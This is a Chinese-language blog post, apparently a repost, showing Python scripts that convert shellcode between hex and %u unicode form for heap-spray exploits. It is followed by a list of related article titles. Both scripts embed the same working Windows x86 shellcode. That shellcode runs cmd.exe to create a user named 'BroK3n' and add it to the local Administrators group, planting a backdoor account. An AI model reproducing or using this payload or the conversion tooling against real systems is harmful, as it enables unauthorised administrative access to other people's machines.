shellcode转换
来源:互联网 发布:开放教育与网络教育 编辑:程序博客网 时间:2024/06/06 12:40
我们在写溢出程序的时候,经常需要将shellcode进行转换,比如在利用heap spray的时候,需要将十六进制的shellcode转换成unicode格式的shellcode,在命令行下,运行shellcode_hex2unicode.py:
c_shellcode=("\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42" "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03" "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b" "\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a" "\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf" "\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f" "\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69" "\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63" "\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44" "\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33" "\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65" "\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63" "\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7");shellcode_list=[];for i in range(len(c_shellcode)):shellcode_list.append(c_shellcode[i].encode('hex'))js_shellcode=''for i in range(0,len(shellcode_list),2):if i==(len(shellcode_list)-1):element='%u'+"00"+str(shellcode_list[i])elif i==len(shellcode_list):breakelse:element='%u'+str(shellcode_list[i+1])+str(shellcode_list[i])js_shellcode+=elementprint js_shellcode
有时候正好相反,需要将unicode的shellcode转化为十六进制的shellcode,在命令行下运行shellcode_unicode2hex.py:
#import js_shellcode=('%ud231%u30b2%u8b64%u8b12%u0c52%u528b%u8b1c%u0842%u728b%u8b20%u8012%u0c7e%u7533%u89f2%u03c7%u3c78%u578b%u0178%u8bc2%u207a%uc701%ued31%u348b%u01af%u45c6%u3e81%u6957%u456e%uf275%u7a8b%u0124%u66c7%u2c8b%u8b6f%u1c7a%uc701%u7c8b%ufcaf%uc701%u4b68%u6e33%u6801%u4220%u6f72%u2f68%u4441%u6844%u726f%u2073%u7468%u6172%u6874%u6e69%u7369%u2068%u6441%u686d%u6f72%u7075%u6368%u6c61%u6867%u2074%u6f6c%u2668%u6e20%u6865%u4444%u2620%u6e68%u2f20%u6841%u6f72%u334b%u3368%u206e%u6842%u7242%u4b6f%u7368%u7265%u6820%u7465%u7520%u2f68%u2063%u686e%u7865%u2065%u6368%u646d%u892e%ufee5%u534d%uc031%u5550%ud7ff');common_shellcode=''js_list=js_shellcode.split('%u')for i in range(1,len(js_list)):common_shellcode+="\\x"+js_list[i][2]+js_list[i][3]+"\\x"+js_list[i][0]+js_list[i][1]print common_shellcode
1 0
- shellcode转换
- shellcode转换成汇编代码
- 将普通shellcode转换成 Reflective DLL Injection shellcode
- shellcode
- Shellcode
- Shellcode
- shellcode
- shellcode
- shellcode
- Shellcode
- shellcode
- shellcode
- Shellcode
- Shellcode
- shellcode
- shellcode
- Shellcode
- 71.windbg-转换shellcode为汇编
- lower_bound和upper_bound的区别
- 如何为VPN选择合适的动态密码双因素认证方案
- 简易小游戏扫雷——C语言编程实现
- JavaScript事件 DOMNodeInserted DOMNodeRemoved
- 数据库操作日志并通过日志进行不同数据库的备份
- shellcode转换
- javaWeb实现裁剪图片上传整套方案
- 一心多用多线程-线程创建的三种方式
- JSPatch 源码解读 及使用
- android项目中values中ids.xml的作用
- linux初学
- Dashboard部署
- centos 6.5 安装weixin
- Linux 基本操作